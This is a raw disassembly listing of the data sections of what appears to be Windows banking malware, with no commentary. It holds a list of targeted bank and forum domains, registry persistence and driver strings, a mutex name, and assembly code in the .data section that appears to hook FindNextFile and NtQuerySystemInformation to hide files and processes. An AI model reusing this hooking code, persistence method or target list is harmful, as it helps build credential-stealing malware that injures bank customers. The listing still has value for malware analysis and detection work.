		dd 462h	dup(0)
dword_413F6C	dd 0			; DATA XREF: sub_408E89+975w
					; sub_40B01B+F8r
dword_413F70	dd 0			; DATA XREF: sub_408E89+40Aw
					; sub_408E89+854r ...
		align 8
byte_413F78	db 0			; DATA XREF: sub_401D14+41Aw
		align 10h
byte_413F80	db 0			; DATA XREF: sub_401D14+6Cw
					; sub_401D14+71r ...
		align 4
dword_413F84	dd 0			; DATA XREF: sub_401D14+5Dw
					; sub_401D14+1E7w ...
		align 10h
dword_413F90	dd 40h dup(0)		; DATA XREF: sub_409847+876o
					; sub_409847+969o ...
dword_414090	dd 0			; DATA XREF: sub_402A4D+BCw
					; sub_402A4D+D9r ...
		dd 0FFh	dup(0)
dword_414490	dd 0			; DATA XREF: sub_4080E0+58w
					; sub_4080E0+9Fr
		dd 45Bh	dup(0)
dword_415600	dd 0			; DATA XREF: .text:0040191Cw
					; .text:00401957r
dword_415604	dd 423h	dup(0)
dword_416690	dd 0			; DATA XREF: sub_4045EF+42w
					; sub_4045EF:loc_404659r
		dd 3EBh	dup(0)
dword_417640	dd 0			; DATA XREF: .text:004021F9w
					; .text:00402232r
dword_417644	dd 40Bh	dup(0)
dword_418670	dd 94h			; DATA XREF: sub_40A766+E2w
					; sub_40A766+ECo
		dd 5, 1, 0A28h
dword_418680	dd 2			; DATA XREF: sub_409847+A81r
		dd 23h dup(0)
dword_418710	dd 0			; DATA XREF: sub_405254:loc_4052ACw
					; sub_405254+91r
		dd 3F3h	dup(0)
dword_4196E0	dd 0			; DATA XREF: .text:00401484w
					; .text:004014B3r
		dd 45Eh	dup(0)
byte_41A85C	db 0			; DATA XREF: sub_401D14+3DCw
					; sub_401D14+3E1r
		align 10h
dword_41A860	dd 0			; DATA XREF: sub_401D14+53w
					; sub_401D14+F6r ...
dword_41A864	dd 0			; DATA XREF: sub_40B143+27Br
dword_41A868	dd 0			; DATA XREF: sub_40223C+5Aw
					; sub_4022CC+114r ...
		align 10h
dword_41A870	dd 6972645Ch		; DATA XREF: sub_40129C+52w
					; sub_40129C:loc_40132Ar
aVersNdisrd_sys	db 'vers\ndisrd.sys',0
		align 8
aEnabledsf	db 'enabledsf',0
		align 4
		dd 73250000h, 2E73255Ch, 657865h, 3FFh dup(0)
dword_41B89C	dd 0			; DATA XREF: sub_40A766+50Cw
					; sub_40A766+84Cr ...
dword_41B8A0	dd 0			; DATA XREF: sub_4068A2+52w
					; sub_4068A2:loc_406924r
		dd 42Ah	dup(0)
dword_41C94C	dd 0			; DATA XREF: sub_408E89+12Bw
					; sub_408E89+1E8r
dword_41C950	dd 0			; DATA XREF: sub_408E89+46w
					; sub_408E89+52r ...
dword_41C954	dd 0			; DATA XREF: sub_40223C+45w
					; sub_4024C1+Dr
		align 10h
dword_41C960	dd 463Ah		; DATA XREF: sub_4032E7+58w
					; sub_4032E7+92r
		dd 443h	dup(0)
dword_41DA70	dd 0			; DATA XREF: sub_401D14+3Ew
					; sub_401D14:loc_401DB1w ...
dword_41DA74	dd 0			; DATA XREF: sub_408E89+710w
					; sub_408E89+723r ...
dword_41DA78	dd 0			; DATA XREF: sub_408E89+8EEw
					; sub_40B01B+C5r
dword_41DA7C	dd 0			; DATA XREF: sub_408E89+2B7w
					; sub_408E89+367r ...
dword_41DA80	dd 0			; DATA XREF: sub_40223C+76w
					; sub_402465+4Cr
dword_41DA84	dd 400000h		; DATA XREF: sub_408E89+71r
					; sub_408E89+DBr ...
dword_41DA88	dd 0			; DATA XREF: sub_401D14+45w
					; sub_401D14+CDw ...
		align 10h
dword_41DA90	dd 3430257Bh		; DATA XREF: sub_403936+5Aw
					; sub_403936:loc_4039CCr
aX04x04x04x04x0	db 'X%04X-%04X-%04X-%04X-%04X%04X%04X}',0
		align 4
		dd 0
		dd 25000000h, 583830h, 2 dup(0)
aSS_dll		db '%s\%s.dll',0
		align 4
		dd 0
		dd 4C430000h, 5C444953h, 495C7325h, 6F72506Eh, 72655363h
		dd 33726576h, 32h, 0
		dd 68540000h, 64616572h, 4D676E69h, 6C65646Fh, 2 dup(0)
		dd 61704100h, 656D7472h, 746Eh,	0
		db    0
		db 2 dup(0), 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayL'
		db 'oad',0
		align 10h
		dd 3C3h	dup(0)
dword_41EA7C	dd 0			; DATA XREF: sub_408E89+8B3w
					; sub_40B01B+B1r
dword_41EA80	dd 40h dup(0)		; DATA XREF: sub_409847+5DEo
					; sub_40A766+387o ...
byte_41EB80	db 0			; DATA XREF: sub_401D14+19Bw
		align 4
dword_41EB84	dd 0			; DATA XREF: sub_408E89+B1w
					; sub_408E89+E3r ...
		align 10h
byte_41EB90	db 0			; DATA XREF: sub_406E2B+199o
					; sub_406E2B+CD4o ...
byte_41EB91	db 0			; DATA XREF: sub_406E2B+E7Dr
byte_41EB92	db 0			; DATA XREF: sub_406E2B+E86r
byte_41EB93	db 0			; DATA XREF: sub_406E2B+E8Fr
		dd 1828h dup(0)
		db 2 dup(0)
word_424C36	dw 0			; DATA XREF: .data:off_4412E2o
dword_424C38	dd 27D6h dup(0)
byte_42EB90	db 0			; DATA XREF: sub_401D14+289w
					; sub_401D14+28Er
		align 4
dword_42EB94	dd 0			; DATA XREF: sub_406E2B+1C0w
					; .text:0040809Fr ...
		align 10h
dword_42EBA0	dd 0			; DATA XREF: .text:004017BFw
					; .text:loc_4017FCr
		dd 453h	dup(0)
dword_42FCF0	dd 0			; DATA XREF: sub_40223C+86w
dword_42FCF4	dd 0			; DATA XREF: sub_40223C+30w
					; sub_4022CC+36r
dword_42FCF8	dd 0			; DATA XREF: sub_408E89+194w
					; sub_408E89+20Er ...
byte_42FCFC	db 0			; DATA XREF: sub_401D14+315w
					; sub_401D14+31Fr ...
		align 10h
dword_42FD00	dd 0			; DATA XREF: .text:004044E1w
					; .text:loc_40451Dr
		dd 3FBh	dup(0)
dword_430CF0	dd 0			; DATA XREF: sub_406D88+5Aw
					; sub_406D88:loc_406E21r
		dd 402h	dup(0)
dword_431CFC	dd 0			; DATA XREF: sub_408E89+493w
					; sub_408E89+836r ...
dword_431D00	dd 0			; DATA XREF: sub_408E89+57Dw
					; sub_40B143+28Br ...
dword_431D04	dd 0			; DATA XREF: sub_408E89+251w
					; sub_408E89+325r ...
		align 10h
dword_431D10	dd 0			; DATA XREF: .text:00408780w
					; .text:004087B9r
		dd 43Bh	dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32',0 ; DATA XREF: sub_403AA3+7Fo
					; sub_403C5F+25Co ...
		dd 3Bh dup(0)
byte_432F00	db 0			; DATA XREF: sub_401334+AAo
					; sub_408189+F1w ...
		align 4
		dd 3Fh dup(0)
dword_433000	dd 0			; DATA XREF: .text:004019FBw
					; .text:loc_401A2Cr
		dd 3F8h	dup(0)
dword_433FE4	dd 0			; DATA XREF: sub_408E89+508w
					; sub_408E89+878r ...
dword_433FE8	dd 0			; DATA XREF: sub_408E89+7A1w
					; sub_408E89+89Br
		align 10h
dword_433FF0	dd 0			; DATA XREF: .text:004015A9w
					; .text:004015E1r
		dd 196h	dup(0)
dword_43464C	dd 27Dh	dup(0)		; DATA XREF: .data:off_4464FBo
dword_435040	dd 0			; DATA XREF: sub_404F4F+50w
					; sub_404F4F+96r
		dd 437h	dup(0)
dword_436120	dd 0			; DATA XREF: .text:00401CCEw
					; .text:00401D0Ar
		dd 41Bh	dup(0)
dword_437190	dd 0			; DATA XREF: .text:004016CAw
					; .text:00401705r
		dd 423h	dup(0)
dword_438220	dd 0			; DATA XREF: .text:00408A57w
					; .text:loc_408A8Br
		dd 441h	dup(0)
dword_439328	dd 0			; DATA XREF: sub_408E89+5F7w
					; sub_40B143+293r ...
		align 10h
byte_439330	db 0			; DATA XREF: sub_401D14+458w
		align 10h
dword_439340	dd 0			; DATA XREF: .text:00408862w
					; .text:0040889Br
		dd 439h	dup(0)
_bss		ends

; Section 3. (virtual address 0003B000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 0003B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 43B000h
		dd offset dword_40D000
		dd 43A428h, 8000h, 0
dword_43B010	dd 0			; DATA XREF: sub_40109A+F6w
					; sub_40109A+110w ...
dword_43B014	dd 12FF74h		; DATA XREF: sub_401219+60w
		dd 0
dword_43B01C	dd 0			; DATA XREF: sub_401219+Bo
dword_43B020	dd 1			; DATA XREF: sub_401219+44o
					; sub_401219+5Ar
dword_43B024	dd 14B5A0h		; DATA XREF: sub_401219+3Fo
					; sub_401219+54r
dword_43B028	dd 149C48h		; DATA XREF: sub_401219+3Ao
					; sub_401219+4Er
dword_43B02C	dd 0			; DATA XREF: sub_40109A:loc_4011F8r
					; sub_40109A:loc_401208r
dword_43B030	dd 0			; DATA XREF: sub_40109A+62w
dword_43B034	dd 0			; DATA XREF: sub_40109A+6Cw
					; sub_40109A+87r ...
dword_43B038	dd 0			; DATA XREF: sub_40109A+74w
dword_43B03C	dd 14h dup(0)		; DATA XREF: sub_40109A+81o
					; sub_40109A+8Fo
dword_43B08C	dd 0			; DATA XREF: sub_40109A+11w
dword_43B090	dd 0			; DATA XREF: sub_40109A+16w
					; sub_40109A+32w
dword_43B094	dd 2			; DATA XREF: sub_408E89+10Dr
					; sub_408E89+1C5r ...
dword_43B098	dd 0Ch			; DATA XREF: sub_401334+A3r
					; sub_408DEF+5Br ...
dword_43B09C	dd 34h			; DATA XREF: sub_40129C+Dr
					; sub_40129C:loc_4012C2r ...
aKkqhook_28	db 'KKQHOOK_28',0       ; DATA XREF: sub_40A704+19o
					; sub_40A766+51Fo
		align 4
		dd 372E3D00h, 0
dword_43B0B4	dd 0			; DATA XREF: sub_409847+144r
					; sub_409847+17Cr ...
dword_43B0B8	dd 46h			; DATA XREF: sub_409847+D9Cr
					; sub_409847+DF7r ...
off_43B0BC	dd offset aSiliconfirewar ; DATA XREF: sub_409847+14Ar
					; sub_409847+182r
					; "siliconfireware.ru"
		dd offset aChechenpress_i ; "chechenpress.info"
		dd offset aProdexteam_net ; "prodexteam.net"
		dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm"
		dd offset aWww_cbr_ru	; "www.cbr.ru"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu"
		dd offset aNew_egg_com	; "new.egg.com"
		dd offset aWww_baltbank_r ; "www.baltbank.ru"
		dd offset aWelcome3_smile ; "welcome3.smile.co.uk"
		dd offset aOlb2_nationet_ ; "olb2.nationet.com"
		dd offset aWww_bbin_ru	; "www.bbin.ru"
		dd offset aMasterX_com	; "master-x.com"
		dd offset aEbookfinaltras ; "ebookfinaltrash.ru"
		dd offset aWww_masterbank ; "www.masterbank.ru"
		dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php"
		dd offset aWww_bmo_com	; "www.bmo.com"
		dd offset aWww_bankofmadu ; "www.bankofmadura.com"
		dd offset aWww_cibc_com	; "www.cibc.com"
		dd offset aWww_vtb_ru	; "www.vtb.ru"
		dd offset aWww_cwbank_com ; "www.cwbank.com"
		dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru"
		dd offset aAlfabank_ru	; "alfabank.ru"
		dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/"
		dd offset aWww_mmbank_ru ; "www.mmbank.ru"
		dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php"
		dd offset aWww_uniastrum_ ; "www.uniastrum.ru"
		dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php"
		dd offset aAtmacasoft_com ; "atmacasoft.com"
		dd offset aAsmworm_com	; "asmworm.com"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru"
		dd offset aWww_worldbank_ ; "www.worldbank.org/index.php"
		dd offset aWww_candidatev ; "www.candidateverifier.com/index.php"
		dd offset aWww_sbrf_ru	; "www.sbrf.ru"
		dd offset aPizdabolInc_ru ; "pizdabol-inc.ru"
		dd offset aWww_bankofindi ; "www.bankofindia.com"
		dd offset aWww_icbank_ru ; "www.icbank.ru"
		dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."...
		dd offset aWww_spyinstruc ; "www.spyinstructors.com"
		dd offset aWww_kmb_ru	; "www.kmb.ru"
		dd offset aWww_netmagiste ; "www.netmagister.com"
		dd offset aKavkazcenter_c ; "kavkazcenter.com/russ"
		dd offset aWww_absolutban ; "www.absolutbank.ru"
		dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk"
		dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk"
		dd offset aWww_allahabadb ; "www.allahabadbank.com"
		dd offset aMasterX_comFor ; "master-x.com/forum/"
		dd offset aWww_rbc_com	; "www.rbc.com"
		dd offset aWww_ovk_ru	; "www.ovk.ru"
		dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php"
		dd offset aProrat_net	; "prorat.net"
		dd offset aYambo_biz	; "yambo.biz"
		dd offset aKidosBank_ru	; "kidos-bank.ru"
		dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"...
		dd offset aBarclays_com	; "barclays.com"
		dd offset aTotallyfreeban ; "totallyfreebanking.com"
		dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php"
		dd offset a53bank_com	; "53bank.com"
		dd offset aWww_uralsib_ru ; "www.uralsib.ru"
		dd offset aGrepwareFacili ; "grepware-facility.ru"
		dd offset aWww_b2bTrust_c ; "www.b2b-trust.com"
		dd offset aGutabank_ru	; "gutabank.ru"
		dd offset aOpenbank_com	; "openbank.com"
		dd offset aSeclab_ru	; "seclab.ru"
		dd offset aTatNeftbank_ru ; "tat-neftbank.ru"
		dd offset aSecuritylab_ru ; "securitylab.ru"
		dd offset aRoyalbank_com ; "royalbank.com"
		dd offset aFethard_biz	; "fethard.biz"
		dd offset aWww_mdmbank_ru ; "www.mdmbank.ru"
		dd offset aGronxplanets_r ; "gronxplanets.ru"
		dd offset aChevychasebank ; "chevychasebank.com"
		db 24h,	6Ch, 0
aSoftwareMicr_0	db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_409847+599o
					; sub_409847+62Do ...
aC9		db 'C9',27h,'/%',0
aOfstkkq	db 'ofstkkq',0          ; DATA XREF: sub_409847+594o
					; sub_409847+628o
aOfstkkqc	db 'ofstkkqc',0         ; DATA XREF: sub_409847+6A3o
					; sub_409847+84Do
		align 4
dword_43B214	dd 0			; DATA XREF: sub_408189+18Cw
					; sub_40B143:loc_40B2FAr ...
dword_43B218	dd 0			; DATA XREF: sub_40B143+7Fr
					; sub_40B143+B3r ...
aVk		db ' vK%;',0            ; DATA XREF: sub_401334+1Bo
aByxy		db 'Byxy',0             ; DATA XREF: sub_401334+E1o
		align 4
dword_43B228	dd 3Bh			; DATA XREF: sub_401D14+1Aw
					; sub_401D14+B7w ...
		dd 6, 0Eh
dword_43B234	dd 0			; DATA XREF: .text:0040143Fr
					; .text:loc_401458r ...
aMI5		db 'm i5',0             ; DATA XREF: sub_4014BD+Co
a4Ec		db '4%ec',0             ; DATA XREF: sub_4014BD+34o
aXuT		db 'xU t',0             ; DATA XREF: sub_4014BD+4Co
		align 4
		dd 4, 0Dh
dword_43B250	dd 0			; DATA XREF: .text:00401564r
					; .text:loc_40157Dr ...
aDGu		db 'D GU',0             ; DATA XREF: sub_4015EB+40o
		align 4
		dd 6, 10h
dword_43B264	dd 0			; DATA XREF: .text:00401688r
					; .text:loc_4016A8r ...
dword_43B268	dd 263Ah, 5, 0Fh	; DATA XREF: sub_40170F+12o
dword_43B274	dd 0			; DATA XREF: .text:0040177Dr
					; .text:loc_40179Dr ...
dword_43B278	dd 263Ah, 6, 10h	; DATA XREF: sub_401806+18o
dword_43B284	dd 0			; DATA XREF: .text:004018DAr
					; .text:loc_4018FAr ...
dword_43B288	dd 7F3E4546h, 7961h, 8,	12h ; DATA XREF: .text:00401971o
dword_43B298	dd 0			; DATA XREF: .text:004019BDr
					; .text:loc_4019D6r ...
byte_43B29C	db 0			; DATA XREF: sub_401A36+Co
byte_43B29D	db 0			; DATA XREF: sub_401A36+5Do
byte_43B29E	db 0			; DATA XREF: sub_401A36+BAo
dword_43B29F	dd 3C2053h		; DATA XREF: sub_401A36+CBr
		align 4
		dd 3, 0Eh
dword_43B2AC	dd 0			; DATA XREF: .text:00401B26r
					; .text:loc_401B46r ...
aRrQa		db 'rr/+Q',0           ; DATA XREF: sub_401B9A+29o
		align 4
		dd 5, 12h
dword_43B2C0	dd 0			; DATA XREF: .text:00401C90r
					; .text:loc_401CA9r ...
aL2r6_		db 'l2r-6;.',0          ; DATA XREF: sub_401D14+95o
byte_43B2CC	db 0			; DATA XREF: sub_401D14+A7o
aF50z		db 'F 5 0z',0           ; DATA XREF: sub_401D14+437o
off_43B2D4	dd offset loc_401DB1	; DATA XREF: sub_401D14+8Br
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E01
		dd offset loc_401E01
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E01
		dd offset loc_401E01
		dd offset loc_40200C
		dd offset loc_401F91
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E01
		dd offset loc_401E01
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E01
		dd offset loc_401E01
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E01
		dd offset loc_401E01
		dd offset loc_401E36
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E01
		dd offset loc_401E01
		dd offset loc_401E36
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E01
		dd offset loc_401E01
		dd offset loc_401E36
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E01
		dd offset loc_401E01
		dd offset loc_401E36
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E36
		dd offset loc_401E36
		dd offset loc_401EB9
		dd offset loc_401EE4
		dd offset loc_401F5C
		dd offset loc_401F22
		dd offset loc_401E25
		dd offset loc_401F10
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401F10
		dd offset loc_401F22
		dd offset loc_401F10
		dd offset loc_401F10
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
off_43B504	dd offset loc_401DB1	; DATA XREF: sub_401D14+2B3r
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401F39
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401F4C
		dd offset loc_401F4C
		dd offset loc_401F4C
		dd offset loc_401F4C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401E25
		dd offset loc_401F5C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401F5C
		dd offset loc_401F5C
		dd offset loc_401F5C
		dd offset loc_401F5C
		dd offset loc_401F5C
		dd offset loc_401F5C
		dd offset loc_401F5C
		dd offset loc_401F5C
		dd offset loc_401F10
		dd offset loc_401F10
		dd offset loc_401F72
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401F10
		dd offset loc_401F22
		dd offset loc_401F7E
		dd offset loc_40200C
		dd offset loc_401F72
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401DD1
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401DB1
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401E25
		dd offset loc_401F5C
		dd offset loc_401F5C
		dd offset loc_401F39
		dd offset loc_401E25
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401E6D
		dd offset loc_401F8A
		dd offset loc_401E8E
		dd offset loc_401E8E
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401DEC
		dd offset loc_401DEC
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401DB1
		dd offset loc_401DB1
off_43B6D4	dd offset loc_401FD3	; DATA XREF: sub_401D14+29Er
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_402005
		dd offset loc_402005
		dd offset loc_40200C
		dd offset loc_402005
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FE9
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401FD3
		dd offset loc_401FF6
		dd offset loc_401FD3
		dd offset loc_402005
		dd offset loc_402005
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_401FD3
		dd offset loc_401FF6
		dd offset loc_401FD3
		dd offset loc_402005
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_402005
		dd offset loc_402005
		dd offset loc_401FF6
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_401FD3
		dd offset loc_402005
		dd offset loc_402005
		dd offset loc_402005
		dd offset loc_402005
		dd offset loc_402005
		dd offset loc_402005
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
		dd offset loc_40200C
aFindnextfilea	db 'FindNextFileA',0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx

loc_43B863:				; CODE XREF: .data:0043B8ACj
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BA70h
		test	eax, eax
		jz	short loc_43B8AE
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax

loc_43B87D:				; CODE XREF: .data:0043B883j
		cmp	byte ptr [ebx],	0
		jz	short loc_43B885
		inc	ebx
		jmp	short loc_43B87D
; ---------------------------------------------------------------------------

loc_43B885:				; CODE XREF: .data:0043B880j
		mov	word ptr [ebx],	463Ah
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FC4A6h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43B8AB
		popa
		jmp	short loc_43B8AE
; ---------------------------------------------------------------------------

loc_43B8AB:				; CODE XREF: .data:0043B8A6j
		popa
		jmp	short loc_43B863
; ---------------------------------------------------------------------------

loc_43B8AE:				; CODE XREF: .data:0043B870j
					; .data:0043B8A9j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h
		db 65h,	57h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx

loc_43B8E4:				; CODE XREF: .data:0043B933j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BAF1h
		test	eax, eax
		jz	short loc_43B935
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax

loc_43B8FE:				; CODE XREF: .data:0043B906j
		cmp	word ptr [ebx],	0
		jz	short loc_43B908
		inc	ebx
		inc	ebx
		jmp	short loc_43B8FE
; ---------------------------------------------------------------------------

loc_43B908:				; CODE XREF: .data:0043B902j
		mov	dword ptr [ebx], 46003Ah
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50C62Dh
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43B932
		popa
		jmp	short loc_43B935
; ---------------------------------------------------------------------------

loc_43B932:				; CODE XREF: .data:0043B92Dj
		popa
		jmp	short loc_43B8E4
; ---------------------------------------------------------------------------

loc_43B935:				; CODE XREF: .data:0043B8F1j
					; .data:0043B930j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dw 0FFFFh
dword_43B948	dd 0FFFFFFh, 7551744Eh,	53797265h, 65747379h, 666E496Dh
					; DATA XREF: .data:0043BE94o
		dd 616D726Fh, 6E6F6974h
		db 0
; ---------------------------------------------------------------------------

loc_43B965:				; DATA XREF: .data:0043BE9Co
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx
		sub	esp, 10h
		mov	eax, [ebp+14h]
		mov	edi, [ebp+10h]
		mov	ebx, [ebp+0Ch]
		mov	[esp+0Ch], eax
		mov	[esp+8], edi
		mov	[esp+4], ebx
		mov	esi, [ebp+8]
		mov	[esp], esi
		call	near ptr 245BB9Bh
		mov	[ebp-4], eax
		cmp	esi, 5
		jz	short loc_43B9B5

loc_43B9A1:				; CODE XREF: .data:0043B9BBj
					; .data:0043BA0Ej
		mov	eax, [ebp-4]
		mov	ebx, [esp]
